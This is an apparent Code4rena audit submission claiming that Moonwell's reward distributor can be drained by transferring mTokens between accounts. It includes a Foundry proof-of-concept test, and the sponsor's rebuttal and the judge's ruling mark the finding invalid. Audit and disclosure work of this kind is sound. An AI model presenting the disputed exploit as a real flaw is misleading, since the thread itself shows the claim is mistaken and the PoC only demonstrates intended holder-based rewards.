Any user can claim rewards infinitely from the market without respecting the accrued rewards time

[code423n4]

Lines of code

https://github.com/code-423n4/2023-07-moonwell/blob/fced18035107a345c31c9a9497d0da09105df4df/src/core/Comptroller.sol#L998-L1000 https://github.com/code-423n4/2023-07-moonwell/blob/fced18035107a345c31c9a9497d0da09105df4df/src/core/Comptroller.sol#L1015-L1019 https://github.com/code-423n4/2023-07-moonwell/blob/fced18035107a345c31c9a9497d0da09105df4df/src/core/Comptroller.sol#L1028-L1053

Vulnerability details

Impact

• calculateSupplyRewardsForUser updates the user accrued rewards based on the user balance of mTokens & on global and user indicies difference which is the time difference between the last reard claim and the current time .

• Comptroller contract: one of the functionalities of this contract is to manage the distribution of rewards tokens to both market suppliers and borrowers.

• So if the user participated in the market as a lender (by depositing market underlying tokens to get mToken) or as a borrower (by borrowing market underlying tokens if he has a collateral); he will be elligible to get accrued rewards based on his mToken balance and the global index of the marketSupply (updated with time).

• So any user can claim his accrued rewards by directly calling claimReward function in the comptroller.

• But since there's no check on the user claiming the rewards (holder) if he is a depostior or not (got mTokens by external transfer or by depositing in the market); any malicious user can exploit this by transferring his mTokens to another account that is not a supplier (depositor) and then this account will be able to claim rewards tokens just by holding mTokens.

• This will enable any malicious users to repeatedly send his mTokens to another accounts to claim rewards tokens,which will lead to MultiRewardDistributor to lose from its rewards tokens balance for non-eligible mToken holders.

Proof of Concept

• Code:

Line 998-1000

File: src/core/Comptroller.sol
Line 998-1000:
    function claimReward() public {
        claimReward(msg.sender, allMarkets);
    }

Line 1015-1019

File: src/core/Comptroller.sol
Line 1015-1019:
    function claimReward(address holder, MToken[] memory mTokens) public {
        address[] memory holders = new address[](1);
        holders[0] = holder;
        claimReward(holders, mTokens, true, true);
    }

Line 1028-1053

File: src/core/Comptroller.sol
Line 1028-1053:
    function claimReward(address[] memory holders, MToken[] memory mTokens, bool borrowers, bool suppliers) public {
        require(address(rewardDistributor) != address(0), "No reward distributor configured!");

        for (uint i = 0; i < mTokens.length; i++) {

            // Safety check that the supplied mTokens are active/listed
            MToken mToken = mTokens[i];
            require(markets[address(mToken)].isListed, "market must be listed");

            // Disburse supply side
            if (suppliers == true) {
                rewardDistributor.updateMarketSupplyIndex(mToken);
                for (uint holderIndex = 0; holderIndex < holders.length; holderIndex++) {
                    rewardDistributor.disburseSupplierRewards(mToken, holders[holderIndex], true);
                }
            }

            // Disburse borrow side
            if (borrowers == true) {
                rewardDistributor.updateMarketBorrowIndex(mToken);
                for (uint holderIndex = 0; holderIndex < holders.length; holderIndex++) {
                    rewardDistributor.disburseBorrowerRewards(mToken, holders[holderIndex], true);
                }
            }
        }
    }

• Foundry PoC:

1. The test is copied from testRewards() function in Comptroller.t.sol file & modified to explain the vulnerability in details.

2. The FaucetToken.sol helper test contract is modified by adding mint() function to the StandardToken contract:

contract StandardToken is ERC20 {
    uint8 _decimals;

    constructor(
        uint256 _initialAmount,
        string memory _tokenName,
        uint8 _decimalUnits,
        string memory _tokenSymbol
    ) ERC20(_tokenName, _tokenSymbol) {
        _mint(msg.sender, _initialAmount);
        _decimals = _decimalUnits;
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }

+   function mint(address account, uint256 amount) public returns (bool) {
+       _mint(account, amount);
+       return true;
+   }
}

3. Add this test to the test/unit/Comptroller.t.sol file; where the following scenario is set: two users, originalDepositor & nonDepositor, are set; the originalDepositor is the one who depositing in the market, then claiming rewards,then transferring his mTokens to the nonDepositor to claim rewards again.

  function testRewardsWrecked() public {
        comptroller._setCollateralFactor(mToken, 0.5e18);

        uint time = 1678430000;
        vm.warp(time);
        // market emission configuration set by the admin of the comptroller contract (which is address(this))
        distributor._addEmissionConfig(
            mToken,
            address(this), //_owner
            address(faucetToken), //_emissionToken (reward token)
            0.5e18, //_supplyEmissionPerSec (set very high for the sake of seeing the difference)
            0, // _borrowEmissionsPerSec
            time + 86400 //_endTime
        );
        faucetToken.allocateTo(address(distributor), 100000e18);

        //--------------Setting up users--------------//
        address originlDepositor = address(0x1);
        address nonDepositor = address(0x2);
        uint256 depositedAmount = 1e18;

        uint256 distributorFaucetBalanceBefore = faucetToken.balanceOf(
            address(distributor)
        );

        //1. originlDepositor depositor mints mToken by directly depositing the ynderlying faucetToken in the mToken market:
        vm.startPrank(originlDepositor);
        faucetToken.mint(originlDepositor, depositedAmount);
        faucetToken.approve(address(mToken), type(uint256).max);
        mToken.mint(depositedAmount);
        assertEq(mToken.balanceOf(originlDepositor), depositedAmount);

        //2. originlDepositor depositor waits sometime (10 seconds) before claiming rewards (given in faucetToken):
        vm.warp(time + 10);
        comptroller.claimReward();
        assertEq(mToken.balanceOf(originlDepositor), depositedAmount);

        //3. originlDepositor got an extra 5 tokens (which is 10 (refers to the seconds) * 0.5 (emission/second) ):
        assertEq(faucetToken.balanceOf(originlDepositor), 5e18);
        assertEq(
            faucetToken.balanceOf(address(distributor)),
            distributorFaucetBalanceBefore - 5e18
        );

        //4. now originlDepositor transfers his mTokens to the nonDepositor:
        mToken.transfer(nonDepositor, mToken.balanceOf(originlDepositor));
        vm.stopPrank();
        assertEq(mToken.balanceOf(originlDepositor), 0);

        //5. the nonDepositor waits sometime (another 10 seconds) before claiming rewards (given in faucetToken):
        vm.startPrank(nonDepositor);
        vm.warp(time + 20);
        comptroller.claimReward();
        assertEq(faucetToken.balanceOf(nonDepositor), 5e18);
        assertEq(
            faucetToken.balanceOf(address(distributor)),
            distributorFaucetBalanceBefore - 10e18
        );

        //6. the nonDepositor returns back mTokens to the originalDepositor:
        mToken.transfer(originlDepositor, mToken.balanceOf(nonDepositor));
        vm.stopPrank();
        assertEq(mToken.balanceOf(nonDepositor), 0);
        assertEq(mToken.balanceOf(originlDepositor), depositedAmount);

        // so by the end of this operation: the nonDepositor was able to get rewards from tha market without being a real depositor;this can be exploited by any user by creating multi accounts and transferring the mTokens between to drain the MultiRewardDistributor contract from reward tokens without being elligble to!
    }

4. Test result:

$ forge test --match-test testRewardsWrecked
Running 1 test for test/unit/Comptroller.t.sol:ComptrollerUnitTest
[PASS] testRewardsWrecked() (gas: 816089)
Test result: ok. 1 passed; 0 failed; finished in 5.22ms

Tools Used

Manual Testing & Foundry.

Recommended Mitigation Steps

Add a mechanism in the Comptroller contract to allow only original depositors & borrowers from claiming rewards.

Assessed type

Context

[c4-pre-sort]

0xSorryNotSorry marked the issue as primary issue

[ElliotFriedman]

sorry, but this isn't an issue and is expected behavior. rewards go to holders, not initial depositors.

PoC:

` function testRewardsNotWreckedAndFunctionProperly() public { comptroller._setCollateralFactor(mToken, 0.5e18);

    uint time = 1678430000;
    vm.warp(time);
    // market emission configuration set by the admin of the comptroller contract (which is address(this))
    distributor._addEmissionConfig(
        mToken,
        address(this), //_owner
        address(faucetToken), //_emissionToken (reward token)
        0.5e18, //_supplyEmissionPerSec (set very high for the sake of seeing the difference)
        0, // _borrowEmissionsPerSec
        time + 86400 //_endTime
    );
    faucetToken.allocateTo(address(distributor), 100000e18);

    //--------------Setting up users--------------//
    address originlDepositor = address(0x1);
    address nonDepositor = address(0x2);
    uint256 depositedAmount = 1e18;

    uint256 distributorFaucetBalanceBefore = faucetToken.balanceOf(
        address(distributor)
    );

    //1. originlDepositor depositor mints mToken by directly depositing the ynderlying faucetToken in the mToken market:
    vm.startPrank(originlDepositor);
    faucetToken.allocateTo(originlDepositor, depositedAmount);
    faucetToken.approve(address(mToken), type(uint256).max);
    mToken.mint(depositedAmount);
    assertEq(mToken.balanceOf(originlDepositor), depositedAmount);

    //2. originlDepositor depositor waits sometime (10 seconds) before claiming rewards (given in faucetToken):
    vm.warp(time + 10);
    comptroller.claimReward();
    assertEq(mToken.balanceOf(originlDepositor), depositedAmount);

    //3. originlDepositor got an extra 5 tokens (which is 10 (refers to the seconds) * 0.5 (emission/second) ):
    assertEq(faucetToken.balanceOf(originlDepositor), 5e18);
    assertEq(
        faucetToken.balanceOf(address(distributor)),
        distributorFaucetBalanceBefore - 5e18
    );

    //4. now originlDepositor transfers his mTokens to the nonDepositor:
    mToken.transfer(nonDepositor, mToken.balanceOf(originlDepositor));
    vm.stopPrank();
    assertEq(mToken.balanceOf(originlDepositor), 0);

    //5. the nonDepositor waits sometime (another 10 seconds) before claiming rewards (given in faucetToken):
    vm.startPrank(nonDepositor);
    vm.warp(time + 20);
    comptroller.claimReward();
    assertEq(faucetToken.balanceOf(nonDepositor), 5e18);
    assertEq(
        faucetToken.balanceOf(address(distributor)),
        distributorFaucetBalanceBefore - 10e18
    );

    uint256 startingRewardBalance = faucetToken.balanceOf(originlDepositor);
    comptroller.claimReward(originlDepositor);
    assertEq(startingRewardBalance, faucetToken.balanceOf(originlDepositor));

    //6. the nonDepositor returns back mTokens to the originalDepositor:
    mToken.transfer(originlDepositor, mToken.balanceOf(nonDepositor));
    vm.stopPrank();
    assertEq(mToken.balanceOf(nonDepositor), 0);
    assertEq(mToken.balanceOf(originlDepositor), depositedAmount);
}

`

[c4-sponsor]

ElliotFriedman marked the issue as sponsor disputed

[alcueca]

Agree with sponsor.

[c4-judge]

alcueca marked the issue as unsatisfactory: Invalid